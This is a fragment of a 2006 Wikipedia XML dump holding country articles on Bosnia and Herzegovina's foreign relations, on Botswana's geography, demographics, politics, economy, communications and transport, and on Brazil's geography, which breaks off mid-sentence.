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      <text xml:space="preserve">{{Politics of Bosnia and Herzegovina}}
The implementation of the [[Dayton Accords]] of [[1995]] has focused the efforts of policymakers in [[Bosnia and Herzegovina]], as well as the international community, on regional stabilization in the [[Socialist Federal Republic of Yugoslavia|former Yugoslavia]]. With the end of the [[Kosovo conflict]], these efforts will continue to a larger extent. Within Bosnia and Herzegovina, relations with its neighbors of [[Croatia]] and [[Serbia and Montenegro]] have been fairly stable since the signing of Dayton in 1995.

== Foreign Aid ==

In the 3 years since the Dayton Accords were signed, over $4 billion in foreign aid has flown into Bosnia, about $800 million of it coming from SEED funds. As stated above, this support has been key to the growth and revitalization of the economy and infrastructure in the republic. However, most of this aid has been targeted at the Federation; the previous government of the RS was anti-Dayton and not assisted by the U.S. The election of the &quot;Sloga&quot; or &quot;Unity&quot; Coalition government, led by Prime Minister Dodik, has shifted the balance of power in the [[Republika Srpska]] (RS) to a pro-Dayton stance and will result in an upsurge of funding to the RS from the international community.

In addition to SEED funding, [[USAID]] programs have been crucial to the redevelopment of Bosnia and Herzegovina. USAID has programing in the following areas: economic policy reform and restructuring; private sector development (the Business Development Program); infrastructure rebuilding; democratic reforms in the media, political process and elections, and rule of law/legal code formulation; and training programs for women and diplomats.

== Disputes - international ==

Bosnia and Herzegovina has had Serbia and Montenegro (Former Yugoslavia) indicted at the [[International Court of Justice]] regarding its accusation that Serbia and Montenegro made an aggression on Bosnia and Herzegovina in the [[History of Bosnia and Herzegovina#Bosnian War|recent 1992-95 war]].

The delimitation of the border with [[Serbia and Montenegro]] is halfway completed, but sections along the [[Drina]] River remain in dispute.

Discussions continue with [[Croatia]] on problem sections of the [[Una]] River and villages at the base of Mount [[Pljesevica|Plješevica]].

== International organization participation ==
BIS, CE, CEI, EBRD, ECE, FAO, G-77, IAEA, IBRD, ICAO, ICCt, IDA, IFAD, IFC, IFRCS, ILO, IMF, IMO, Interpol, IOC, IOM (observer), ISO, ITU, NAM (guest), OAS (observer), OIC (observer), OPCW, OSCE, [[Southeast European Cooperative Initiative|SECI]], UN, UNCTAD, UNESCO, UNIDO, UNMEE, UPU, WHO, WIPO, WMO, WToO, WTrO (observer)

== Illicit drugs ==

Bosnia and Herzegovina is a minor transit point for [[marijuana]] and [[opiate]] trafficking routes to [[Western Europe]].

Organized crime launders money, but the lack of a well-developed financial infrastructure limits the country's utility as a money-laundering center.

== See also ==
* [[Bosnia and Herzegovina]]

[[Category:Politics of Bosnia and Herzegovina]]
[[Category:Foreign relations by country|Bosnia and Herzegovina]]</text>
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    <title>Botswana/History</title>
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      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Botswana]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Botswana</title>
    <id>3613</id>
    <revision>
      <id>40555721</id>
      <timestamp>2006-02-21T11:37:33Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>better map</comment>
      <text xml:space="preserve">[[Image:Botswana Map.jpg|thumb|300px|right|Map of Botswana]]
'''Location:'''
Southern [[Africa]], north of [[South Africa]]

'''Geographic coordinates:'''
{{coor d|22|S|24|E|}}

'''Map references:'''
Africa

'''Area:'''
&lt;br&gt;''total:''
600,370 km²
&lt;br&gt;''land:''
585,370 km²
&lt;br&gt;''water:''
15,000 km²

'''Area - comparative:'''
slightly smaller than Texas

'''Land boundaries:'''
&lt;br&gt;''total:''
4,013 km
&lt;br&gt;''border countries:''
[[Namibia]] 1,360 km, [[South Africa]] 1,840 km, [[Zimbabwe]] 813 km, [[Zambia]] 0 km.

'''Coastline:'''
0 km (landlocked)

'''Maritime claims:'''
none (landlocked)

'''Climate:'''
semiarid; warm winters and hot summers

[[Image:BotswanaLotsane.jpg|thumb|right|200px|Goat grazing by the Lotsane River]]

'''Terrain:'''
The land is predominantly flat to gently rolling tableland. The [[Kalahari Desert]] is in the southwest.  The [[Okavango Delta]], the world's largest inland delta, is in the northwest and the [[Makgadikgadi Pan]], a large [[salt pan]] lies in the north.

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
junction of the Limpopo and [[Shashe (disambiguation)|Shashe Rivers]] 513 m
&lt;br&gt;''highest point:''
Tsodilo Hills 1,489 m

'''Natural resources:'''
[[diamond]]s, [[copper]], [[nickel]], [[salt]], [[soda ash]], [[potash]], [[coal]], [[iron]] ore, [[silver]]

'''Land use:'''
&lt;br&gt;''arable land:'' 0.61%
&lt;br&gt;''permanent crops: ''0.01%
&lt;br&gt;''other:'' 99.38% (1998 est.)

''arable land:''
1%
&lt;br&gt;''permanent crops:''
0%
&lt;br&gt;''permanent pastures:''
46%
&lt;br&gt;''forests and woodland:''
47%
&lt;br&gt;''other:''
6% (1993 est.)

'''Irrigated land:'''
10 sq km (1998 est.), 20 km² (1993 est.)

'''Natural hazards:'''
periodic droughts; seasonal August winds blow from the west, carrying sand and dust across the country, which can obscure visibility

'''Environment - current issues:'''
overgrazing; desertification; limited fresh water resources

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Biodiversity, Climate Change, Desertification, Endangered Species, Hazardous Wastes, Law of the Sea, Nuclear Test Ban, Ozone Layer Protection, Wetlands
&lt;br&gt;''signed, but not ratified:''
none of the selected agreements

'''Geography - note:'''
landlocked; population concentrated in eastern part of the country

==See also==
*[[Botswana]]

{{Africa in topic|Geography of}}

[[Category:Geography of Botswana| ]]

[[es:Geografía de Botsuana]]
[[pt:Geografia do Botswana]]

Slight mountainous areas where mining is done.</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Botswana</title>
    <id>3614</id>
    <revision>
      <id>36027954</id>
      <timestamp>2006-01-21T00:43:54Z</timestamp>
      <contributor>
        <username>Guinnog</username>
        <id>764861</id>
      </contributor>
      <comment>yet another botswana pic</comment>
      <text xml:space="preserve">[[Image:Botswana-demography.png|thumb|300px|right|Demographics of Botswana, Data of [[Food and Agriculture Organisation|FAO]], year 2005 ; Number of inhabitants in thousands.]]
[[Image:Botswanahouse.jpg|thumb|right|250px]]

[[Botswana]], like many nations in southern [[Africa]], suffers from a high [[AIDS]] infection rate, which was 38.8% for adults in 2002. In 2003, the government began a comprehensive program involving free or cheap generic anti-retroviral drugs as well as an information campaign designed to stop the spread of the virus. 

==Demographic data from the CIA World Factbook==

===Population===
:1,640,115
:''Note'': estimates for this country explicitly take into account the effects of excess mortality due to AIDS; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2005 est.)

===Age structure===
:0-14 years: 38.8% (male 322,916/female 312,735)
:15-64 years: 57.5% (male 455,183/female 487,236)
:65 years and over: 3.8% (male 23,914/female 38,131) (2005 est.)

===Median age===
:Total: 19.29 years
:Male: 18.64 years
:Female: 19.93 years (2005 est.)

===Population growth rate===
:0% (2005 est.)

===Birth rate===
:23.33 births/1,000 population (2005 est.)

===Death rate===
:29.36 deaths/1,000 population (2005 est.)

===Net migration rate===
:6.07 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.03 male(s)/female
:Under 15 years: 1.03 male(s)/female
:15-64 years: 0.93 male(s)/female
:65 years and over: 0.63 male(s)/female
:Total population: 0.96 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 54.58 deaths/1,000 live births
:Male: 55.97 deaths/1,000 live births
:Female: 53.14 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 33.87 years
:Male: 33.89 years
:Female: 33.84 years (2005 est.)

===Total fertility rate===
:2.85 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 37.3% (2003 est.)
:People living with HIV/AIDS: 350,000 (2003 est.)
:Deaths: 33,000 (2003 est.)

===Major infectious diseases===
:Degree of risk: high
:Food or waterborne diseases: bacterial diarrhea, hepatitis A, and typhoid fever
:Vectorborne disease: malaria (2004)

===Nationality===
:Noun: Motswana (singular), Batswana (plural)
:Adjective: Motswana (singular), Batswana (plural)

===Ethnic groups===
:Tswana 98%, White 2%

===Religions===
:Christian 80%, Traditional Beliefs 20%

===Languages===
:English (official), Setswana

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 80%
:Male: 77%
:Female: 82%

==References==
{{CIA WFB 2005}}

{{Africa in topic|Demographics of}}

[[Category:Botswana]]
[[Category:Demographics by country|Botswana]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Botswana</title>
    <id>3615</id>
    <revision>
      <id>39919507</id>
      <timestamp>2006-02-16T20:53:52Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <text xml:space="preserve">{{election botswana}}
[[Botswana]] has a flourishing multiparty constitutional democracy. Each of the elections since independence has been freely and fairly contested and has been held on schedule. The country's small white minority and other minorities participate freely in the political process. There are two main rival parties and a number of smaller parties. In national elections in [[1999]], the [[Botswana Democratic Party]] (BDP) won 33 of 40 contested National Assembly seats, the [[Botswana National Front]] (BNF) won 6, and the [[Botswana Congress Party]] (BCP) won 1 seat. An additional 4 seats are held by individuals appointed by the President; all 4 are currently held by the ruling BDP. The opposition out-polled the ruling BDP in most urban areas. The openness of the country's political system has been a significant factor in Botswana's stability and economic growth. General elections are held at least every 5 years.

The president has executive power and is chosen by the National Assembly following countrywide legislative elections. The cabinet is selected by the president from the National Assembly; it consists of a vice president and a flexible number of ministers and assistant ministers, currently 12 and 3, respectively. The National Assembly has 40 elected and 4 appointed members; it is expanded following each census (every 10 years).

The advisory House of Chiefs represents the eight principal subgroups of the [[Batswana]] people, and four other members are elected by the subchiefs of four of the districts. A draft of any National Assembly bill of tribal concern must be referred to the House of Chiefs for advisory opinion. Chiefs and other leaders preside over customary, traditional courts, though all persons have the right to request that their case be considered under the formal British-based legal system.

The roots of Botswana's democracy lie in [[Setswana]] traditions, exemplified by the [[Kgotla]], or village council, in which the powers of traditional leaders are limited by custom and law. Botswana's High Court has general civil and criminal jurisdiction. Judges are appointed by the president and may be removed only for cause and after a hearing. The constitution has a code of fundamental human rights enforced by the courts, and Botswana has a good human rights record.

Local government is administered by nine district councils and five town councils. District commissioners have executive authority and are appointed by the central government and assisted by elected and nominated district councilors and district development committees. There has been ongoing debate about the political, social, and economic marginalization of the [[Bushmen|San]] (indigenous tribal population). The government's policies for remote area dwellers continue to spark controversy and to be revised in response to domestic and donor concerns.
==Political parties and elections==
{{elect|List of political parties in Botswana|Elections in Botswana}}
{{main|Botswana general election, 2004}}
{{Botswana general election, 2004}}

{{CIA}}
'''Principal Government Officials'''&lt;br&gt;
President--[[Festus Mogae]]&lt;br&gt;
Vice President--Lt. Gen. [[Seretse Ian Khama]]&lt;br&gt;
Ambassador to the United States--Kgosi Seepapitso&lt;br&gt;
Ambassador to the United Nations--L.J.M.J. Legwaila

Botswana maintains a [[U.S.]] embassy at 1531-1533 New Hampshire Avenue NW, Washington DC 20036 (tel. 202-244-4990; fax 202-244-4164). Its mission to the United Nations is at 103 E. 37th Street, New York NY 10017 (tel. 212-889-2277; fax 212-725-5061).

'''Country name:'''
&lt;br&gt;''conventional long form:''
Republic of Botswana
&lt;br&gt;''conventional short form:''
Botswana
&lt;br&gt;''former:''
[[Bechuanaland]]

'''Data code:'''
BC

'''Government type:'''
parliamentary republic

'''Capital:'''
[[Gaborone]]

'''Administrative divisions:'''
10 districts and four town councils*; Central, Chobe, Francistown*, Gaborone*, Ghanzi, Kgalagadi, Kgatleng, Kweneng, Lobatse*, Ngamiland, North-East, Selebi-Pikwe*, South-East, Southern

'''Independence:'''
[[30 September]] [[1966]] (from [[United Kingdom|UK]])

'''National holiday:'''
Independence Day, [[30 September]] ([[1966]])

'''Constitution:'''
March 1965, effective [[30 September]] [[1966]]

'''Legal system:'''
based on Roman-Dutch law and local customary law; judicial review limited to matters of interpretation; has not accepted compulsory ICJ jurisdiction

'''Suffrage:'''
18 years of age; universal

'''Executive branch:'''
&lt;br&gt;''chief of state:''
President Festus MOGAE (since [[1 April]] [[1998]]) and Vice President Seretse Ian KHAMA (since [[13 July]] [[1998]]); note - the president is both the chief of state and head of government
&lt;br&gt;''head of government:''
President Festus MOGAE (since [[1 April]] [[1998]]) and Vice President Seretse Ian KHAMA (since [[13 July]] [[1998]]); note - the president is both the chief of state and head of government
&lt;br&gt;''cabinet:''
Cabinet appointed by the president
&lt;br&gt;''elections:''
president elected by the National Assembly for a five-year term; election last held [[16 October]] [[1999]] (next to be held NA October 2004); vice president appointed by the president
&lt;br&gt;''election results:''
Festus MOGAE elected president; percent of National Assembly vote - 54.3%

'''Legislative branch:'''
bicameral Parliament consists of the House of Chiefs (a largely advisory 15-member body consisting of the chiefs of the eight principal tribes, four elected subchiefs, and three members selected by the other 12 members) and the National Assembly (44 seats, 40 members are directly elected by popular vote and 4 are appointed by the majority party; members serve five-year terms)
&lt;br&gt;''elections:''
National Assembly elections last held [[16 October]] [[1999]] (next to be held NA October [[2004]]) 

'''Judicial branch:'''
High Court; Court of Appeal; Magistrates' Courts (one in each district)

'''International organization participation:'''
ACP, AfDB, C, ECA, FAO, G-77, IAEA, IBRD, ICAO, [[ICCt]], ICFTU, ICRM, IDA, IFAD, IFC, IFRCS, ILO, IMF, Interpol, IOC, ISO, ITU, NAM, OAU, OPCW, SACU, SADC, UN, UNCTAD, UNESCO, UNIDO, UPU, WCO, WFTU, WHO, WIPO, WMO, WToO, WTrO

'''Flag description:'''
light blue with a horizontal white-edged black stripe in the center

:''See also :'' [[Botswana]]

{{Africa in topic|Politics of}}

[[Category:Politics of Botswana|*]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Botswana</title>
    <id>3616</id>
    <revision>
      <id>39631909</id>
      <timestamp>2006-02-14T20:33:30Z</timestamp>
      <contributor>
        <ip>207.63.100.162</ip>
      </contributor>
      <text xml:space="preserve">{{Economy of Botswana table}}
[[Image:2pula.png|thumb|200px|right|1980s 2 Pula note]]
Since independence, [[Botswana]] has had the highest average economic growth rate in the world at about 9% per year from 1966 through 1999. Growth in formal sector employment has averaged about 10% per annum over Botswana's first 30 years of independence. The government has consistently maintained budget surpluses and has substantial foreign exchange reserves totalling about $6.2 [[billion]] (6.2 G$) in 1999.

Botswana's impressive economic record has been built on a foundation of diamond mining, prudent fiscal policies, international financial and technical assistance, and a cautious foreign policy. It is rated the least corrupt country in Africa, according to an international corruption watchdog, [[Transparency International]]. 

==Overview==
[[Agriculture]] still provides a livelihood for more than 80% of the population but supplies only about 50% of food needs and accounts for only 3% of GDP. [[Subsistence farming]] and cattle raising predominate. The sector is plagued by erratic rainfall and poor soils. [[Tourism]] is also important to the economy. Substantial [[mineral]] deposits were found in the 1970s and the mining sector grew from 25% of GDP in 1980 to 38% in 1998. Unemployment officially is 21% but unofficial estimates place it closer to 40%. The Orapa 2000 project, which will double the capacity of the country's main diamond mine, will be finished in early 2000. This will be the main force behind continued economic expansion.

==Mining==
Two large mining companies, [[Debswana]] (formed by the government and South Africa's [[De Beers]] in equal partnership) and Bamangwato Concessions, Ltd. (BCL, also with substantial government equity participation) operate in the country.

Since the early 1980s, the country has been the world's largest producer of gem diamonds. Four large diamond mines have opened since independence. De Beers prospectors discovered diamonds in northern Botswana in the early 1970s. The first mine began production at [[Orapa diamond mine|Orapa]] in [[1972]], followed by the smaller mine at [[Letlhakane diamond mine|Letlhakane]]. What has become the single-richest diamond mine in the world opened in [[Jwaneng diamond mine|Jwaneng]] in 1982. In 2002, a fourth diamond mine, [[Damtshaa diamond mine|Damtshaa]], began operations.  Botswana produced a total over 30 million carats (6,000 kg) of diamonds (about 25% of worldwide production) from the three Debswana mines in 1999, and is the highest producer of diamonds by value in the world. The Orapa 2000 Expansion of the existing Orapa mine was opened in 2000.

Most (70%) of Botswana's electricity is imported from South Africa's [[Eskom]]. 80% of domestic production is concentrated in one plant, [[Morupule Power Station]] near [[Palapye]].  Debswana operates the nearby [[Morupule Colliery]] to supply coal to it.
[http://www.miningweekly.co.za/min/sector/coal/?show=75117]

BCL, which operates a copper-nickel mine at Selebi-Phikwe, has had a troubled financial history but remains an important employer. The soda ash operation at Sua Pan, opened in 1991 and supported by substantial government investment, has begun making a profit following significant restructuring.

==Tourism==
[[Tourism]] is an increasingly important industry in Botswana, accounting for almost 12% of GDP. One of the world's unique ecosystems, the [[Okavango Delta]], is located in Botswana. The country offers excellent game viewing and birding both in the Delta and in the Chobe Game Reserve -- home to one of the largest herds of free-ranging elephants in the world. Botswana's [[Central Kalahari Game Reserve]] also offers good game viewing and some of the most remote and unspoiled wilderness in southern Africa.

==Agriculture==
More than half of the population lives in rural areas and is largely dependent on subsistence crop and livestock farming. Agriculture meets only a small portion of food needs and contributes just 2.8% to GDP -- primarily through beef exports -- but it remains a social and cultural touchstone. Cattle raising dominated Botswana's social and economic life before independence. The [[Botswana Meat Commission]] has a monopoly on beef production. The national herd was about 2.5 million in the mid-1990s, though the government-ordered slaughter of the entire herd in Botswana's northwest [[Kgamiland]] District in 1995 has reduced the number by at least 200,000. The slaughter was ordered to prevent the spread of &quot;cattle lung disease&quot; to other parts of the country.

==Private Sector Development and Foreign Investment==
Botswana seeks to diversify its economy away from [[mineral]]s, the earnings from which have levelled off. In 1998-99, non-mineral sectors of the economy grew at 8.9%, partially offsetting a slight 4.4% decline in the minerals sector. Foreign investment and management have been welcomed in Botswana.

External investment in Botswana has grown fitfully. In the early 1990s, two American companies, Owens Corning and H.J. [[Heinz]], made major investments in production facilities in Botswana. In 1997, the St. Paul Group purchased Botswana Insurance, one of the country's leading short-term insurance providers. An American Business Council (ABC), with over 30 member companies, was inaugurated in 1995.

[[Daihatsu]] operated a car assembly plant in Botswana from 1994 to 2000.[http://www.gov.bw/economy/index.html]

Because of history and geography, Botswana has long had deep ties to the economy of South Africa. The [[Southern Africa Customs Union]] (SACU), comprising Botswana, [[Lesotho]], [[Swaziland]], and [[South Africa]], dates from [[1910]]. [[Namibia]] joined in 1990. Under this arrangement, South Africa has collected levies from customs, sales, and excise duties for all five members, sharing out proceeds based on each country's portion of imports. The exact formula for sharing revenues and the decision-making authority over duties--held, until at least 1996, exclusively by the Government of South Africa--have been increasingly controversial, and the members began renegotiating the arrangement in 1995. Following South Africa's accession to the [[World Trade Organization]] (WTO--Botswana also is a member), many of the SACU duties are declining, making American products more competitive.

Botswana's currency -- the [[Botswana pula|pula]] -- is fully convertible and is valued against a basket of currencies heavily weighted toward the South African rand. Profits and direct investment can be repatriated without restriction from Botswana. The Botswana Government has eliminated all exchange controls. Despite a 12% devaluation in May 2005, the pula remains one of the strongest currencies in Africa.

[[Gaborone]] is host to the headquarters of the 14-nation [[Southern African Development Community]] (SADC). A successor to the [[Southern African Development Coordination Conference]] (SADCC), which focused its efforts on freeing regional economic development from dependence on apartheid in South Africa, SADC embraced the newly democratic South Africa as a member in 1994 and has a broad mandate to encourage growth, development, and economic integration in Southern Africa. SADC's Trade Protocol, which was launched on September 1, 2000, calls for the elimination of all tariff and non-tariff barriers to trade by 2012 among the 11 signatory countries. If successful, it will give Botswana companies free access to the far larger regional market. The Regional Center for Southern Africa (RCSA), which implements the U.S. Agency for International Development's (USAID) Initiative for Southern Africa (ISA), is headquartered in [[Gaborone]] as well.

==See also==
* [[Botswana]]
* [[Economy of Africa]]
* [[Economy of South Africa]]
* [[List of Botswana companies]]
* [[List of South African companies]]
* [[South Africa]]

{{WTO}}

[[Category:WTO members|Botswana]]
[[Category:Economy of Botswana| ]]
[[Category:Economies by country|Botswana]]
[[Category:African Union member economies|Botswana]]
[[zh:波札那]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Botswana</title>
    <id>3617</id>
    <revision>
      <id>37043385</id>
      <timestamp>2006-01-28T04:38:17Z</timestamp>
      <contributor>
        <username>ERcheck</username>
        <id>514304</id>
      </contributor>
      <comment>dab page link repair</comment>
      <text xml:space="preserve">'''Communications in Botswana'''

A [[fiber-optic]] telecommunications network has been completed in [[Botswana]] connecting all major population centers.

In addition to the government-owned newspaper and national [[radio]] network, there is an active, independent [[mass media|press]] (six weekly newspapers). Two privately owned radio stations began operations in 1999. At the end of July 2000, the government-owned Botswana Television (BTV) was launched, which is Botswana's first national television station. It began broadcasting with 3 hours of programming on weekdays and 5 on weekends, and offers news ([[Setswana]] and [[English language|English]]), entertainment, and [[sport]]s, with plans eventually to produce 60% of its programming locally. Foreign publications are sold without restriction in Botswana, and there are three commercial [[Internet service provider]]s. Two [[cellular phone]] providers cover most of the country.

'''Telephones - main lines in use:'''
131,000 (September 2001), 78,000 (1998)

'''Telephones - mobile cellular:'''
270,000 (September 2001)

'''Telephone system:'''
&lt;br&gt;''general:'' the system is expanding with the growth of mobile cellular service and participation in regional development 
&lt;br&gt;''domestic:''
small system of open-wire lines, microwave radio relay links, and a few radiotelephone communication stations; mobile cellular service is growing fast
&lt;br&gt;''international:''
two international exchanges; digital microwave radio relay links to Namibia, Zambia, Zimbabwe, and South Africa; satellite earth station - 1 Intelsat (Indian Ocean)

'''Radio broadcast stations:'''
AM 8, FM 13, shortwave 4 (2001), AM 7, FM 15, shortwave 5 (1998)

'''Radios:'''
237,000 (1997)

'''Television broadcast stations:'''
1 (2001), 0 (1997)

'''Televisions:'''
31,000 (1997)

'''Internet Service Providers (ISPs):'''
11 (2001), 2 (1999)

'''Internet users:'''
33,000 (2001)

'''[[Country codes]]:''' BW

[[Category:Botswana]]
[[Category:Communications by country|Botswana]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Botswana</title>
    <id>3618</id>
    <revision>
      <id>40001300</id>
      <timestamp>2006-02-17T12:02:30Z</timestamp>
      <contributor>
        <username>Tabletop</username>
        <id>173687</id>
      </contributor>
      <minor />
      <comment>landlocked</comment>
      <text xml:space="preserve">A sparsely populated, arid country, '''[[Botswana]]''' has nonetheless managed to incorporate much of its interior into the national economy.  An &quot;inner circle&quot; [[highway]] connecting all major towns and district capitals is completely paved, and the all-weather Trans-Kalahari Highway connects the country (and, through it, [[South Africa]]'s commercially dominant [[Gauteng Province]]) to [[Walvis Bay]] in [[Namibia]].

== [[Railway]]s ==
{{CIA}}

&lt;br&gt;''total:''
888 km (2002), 971 km(1995)
&lt;br&gt;''narrow gauge:''
888 km 1.067-m gauge (2002), 971 km 1.067-m gauge (1995)

=== Railway links to adjacent countries ===

* [[Transportation in Zambia|Zambia]] - no
* [[Transportation in Zimbabwe|Zimbabwe]] - yes
* [[Transportation in South Africa|South Africa]] - yes
* [[Transportation in Namibia|Namibia]] - no - in [[2006]] a proprosed electrified railway connecting to [[Lüderitz]], [[Namibia]] for coal traffic.

== Highways ==
&lt;br&gt;''total:''
10,217 km  (1999), 18,482 km (1996 est.)
&lt;br&gt;''paved:''
5620 (1999), 4,343 km (1996 est.)
&lt;br&gt;''unpaved:''
4,597 km (1999), 14,139 km (1996 est.)

== Ports and harbors ==

none - [[landlocked]]

== [[Airport]]s ==
86 (2002), 92 (1999 est.)
:''see also [[List of airports in Botswana]]

=== Airports - with paved runways ===
&lt;br&gt;''total:''
10
&lt;br&gt;''2,438 to 3,047 m:''
2
&lt;br&gt;''1,524 to 2,437 m:''
7
&lt;br&gt;''914 to 1,523 m:''
1 (2002, 1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
76 (2002), 82 (1999 est.)
&lt;br&gt;''1,524 to 2,437 m:''
3 (2002), 4 (1999 est.)
&lt;br&gt;''914 to 1,523 m:''
55 (2002), 57 (1999 est.)
&lt;br&gt;''under 914 m:''
18 (2002), 21 (1999 est.)

== See also ==

* [[Botswana]]
* [http://www.airbotswana.co.uk/ Air Botswana UK - The national airline of Botswana]

{{Africa in topic|Transport in}}

[[Category:Transportation in Botswana|*]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Botswana</title>
    <id>3619</id>
    <revision>
      <id>41070980</id>
      <timestamp>2006-02-24T21:40:46Z</timestamp>
      <contributor>
        <username>Elfguy</username>
        <id>269251</id>
      </contributor>
      <comment>merged</comment>
      <text xml:space="preserve">#REDIRECT [[Botswana Defence Force]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Botswana</title>
    <id>3620</id>
    <revision>
      <id>37154000</id>
      <timestamp>2006-01-29T01:56:49Z</timestamp>
      <contributor>
        <username>Wikiacc</username>
        <id>84893</id>
      </contributor>
      <minor />
      <comment>{{Africa in topic|Foreign relations of}}</comment>
      <text xml:space="preserve">{{Politics of Botswana}}
[[Botswana]] has put a premium on economic and political integration in southern Africa. It has sought to make [[Southern African Development Community|SADC]] a working vehicle for economic development, and it has promoted efforts to make the region self-policing in terms of preventative diplomacy, conflict resolution, and good governance. It has welcomed post-apartheid [[South Africa]] as a partner in these efforts. Botswana joins the African consensus on most major international matters and is a member of international organizations such as the [[United Nations]] and the [[African Union]].

'''Disputes - international:'''
established a commission with [[Namibia]] to resolve small residual disputes along the [[Caprivi Strip]], including the [[Situngu marshlands]] along the [[Linyanti River]]; downstream Botswana residents protest Namibia's planned construction of the [[Okavango]] hydroelectric dam on [[Popa Falls]]; dormant dispute remains where Botswana, Namibia, [[Zambia]], and [[Zimbabwe]] boundaries converge

{{Africa in topic|Foreign relations of}}

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[[Category:Foreign relations by country|Botswana]]</text>
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      <text xml:space="preserve">[[Image:Br-map.png|framed|Map of Brazil]]

The [[country]] of '''[[Brazil]]''' occupies a large portion of eastern [[South America]], bordering the [[Atlantic Ocean]]. Brazil covers a total area of 8,514,215 km² (3,287,357 sq. mi) which includes 8,456,510 km² (3,265,076 sq. mi) of land and 55,455 km² (21,411 sq. mi) of water. The highest point in Brazil is [[Pico da Neblina]] at 3,014 m (9,888 ft); the lowest point is [[sea level]]. Brazil is bordered by the countries of [[Argentina]], [[Bolivia]], [[Colombia]], [[French Guiana]], [[Guyana]], [[Paraguay]], [[Peru]], [[Suriname]], [[Uruguay]] and [[Venezuela]]. By comparison, Brazil is slightly smaller in land mass than the [[United States]]. 

Much of the [[climate]] is [[tropical]], though some areas may be more [[temperate]]. The largest [[river]] in Brazil, and one of the longest in the world is the [[Amazon river|Amazon]]. The [[rainforest]] that covers the [[Amazon Basin]] constitutes almost half of the rainforests on [[Earth]].  

'''Geographic coordinates:'''
{{coor d|10|S|55|W|region:BR_type:country}}

==Size and Location==
[[Image:Brazil_rel94.jpg|thumb|250px|Detailed relief map of Brazil]]

With its expansive territory, Brazil occupies most of the eastern part of the [[South America|South American continent]] and its geographic heartland, as well as various islands in the [[Atlantic Ocean]]. The only countries in the world that are larger are [[Russia]], [[Canada]], [[China]], and the [[United States]] (including [[Alaska]]). The national territory extends 4,395 [[kilometer]]s from north to south (5°16'20&quot; N to 33°44'32&quot; S latitude) and 4,319 kilometers from east to west (34°47'30&quot; E to 73°59'32&quot; W longitude). It spans four [[time zone]]s, the westernmost of which, in [[Acre State]], is the same as Eastern Standard Time in the United States. The time zone of the capital ([[Brasília]]) and of the most populated part of Brazil along the east coast is two hours ahead of [[Eastern Standard Time]], except when it is on its own daylight savings time, from October to February. The Atlantic islands are in the easternmost time zone.

Brazil possesses the archipelago of [[Fernando de Noronha]], located 350 kilometers northeast of its &quot;horn,&quot; and several small islands and atolls in the Atlantic--[[Abrolhos]], [[Atol das Rocas]], Penedos de São Pedro e São Paulo, [[Trindade]], and [[Martim Vaz]]. In the early 1970s, Brazil claimed a territorial sea extending 362 kilometers from the country's shores, including those of the islands.

On Brazil's east coast, the Atlantic coastline extends 7,367 kilometers. In the west, in clockwise order from the south, Brazil has 15,719 kilometers of borders with [[Uruguay]], [[Argentina]], [[Paraguay]], [[Bolivia]], [[Peru]], [[Colombia]], [[Venezuela]], [[Guyana]], [[Suriname]], and [[French Guiana]]. The only South American countries with which Brazil does not share borders are [[Chile]] and [[Ecuador]]. A few short sections are in question, but there are no major boundary controversies with any of the neighboring countries.

==Geology, Geomorphology, and Drainage==
[[Image:Brazil_topo.jpg|thumb|250px|Topograpic map of Brazil]]

In contrast to the [[Andes]], which rose to elevations of nearly 7,000 meters in a relatively recent epoch and inverted the Amazon's direction of flow from westward to eastward, Brazil's geological formation is very old. [[Precambrian]] [[crystalline shield]]s cover 36% of the territory, especially its central area. The principal mountain ranges average elevations just under 2,000 meters. The [[Serra do Mar]] Range hugs the Atlantic coast, and the [[Serra do Espinhaço]] Range, the largest in area, extends through the south-central part of the country. The highest mountains are in the [[Tumucumaque]], [[Pacaraima]], and [[Imeri]] ranges, among others, which traverse the northern border with the Guianas and Venezuela.

In addition to mountain ranges (about 0.5% of the country is above 1,200 meters), Brazil's Central Highlands include a vast central plateau ([[Planalto Central]]). The plateau's uneven terrain has an average elevation of 1,000 meters. The rest of the territory is made up primarily of sedimentary basins, the largest of which is drained by the [[Amazon (river)|Amazon]] and its tributaries. Of the total territory, 41% averages less than 200 meters in elevation. The coastal zone is noted for thousands of kilometers of tropical beaches interspersed with [[mangrove]]s, [[lagoon]]s, and [[dune]]s, as well as numerous [[coral reef]]s.

Brazil has one of the world's most extensive [[river system]]s, with eight major drainage basins, all of which drain into the [[Atlantic Ocean]]. Two of these basins--the [[Amazon basin|Amazon]] and [[Tocantins-Araguaia basin|Tocantins-Araguaia]]--account for more than half the total drainage area. The largest river system in Brazil is the Amazon, which originates in the Andes and receives tributaries from a basin that covers 45.7% of the country, principally the north and west. The main Amazon river system is the Amazonas-Solimões-Ucayali axis (the 6,762 kilometer-long Ucayali is a Peruvian tributary), flowing from west to east. Through the Amazon Basin flows one-fifth of the world's fresh water. A total of 3,615 kilometers of the Amazon are in Brazilian territory. Over this distance, the waters decline only about 100 meters. The major tributaries on the southern side are, from west to east, the Javari, Juruá, Purus (all three of which flow into the western section of the Amazon called the [[Solimões]]), [[Madeira]], [[Tapajós]], [[Xingu]], and [[Tocantins]]. On the northern side, the largest tributaries are the [[Branco]], [[Japurá]], [[Jari]], and [[Negro]]. The above-mentioned tributaries carry more water than the Mississippi (its discharge is less than one-tenth that of the Amazon). The Amazon and some of its tributaries, 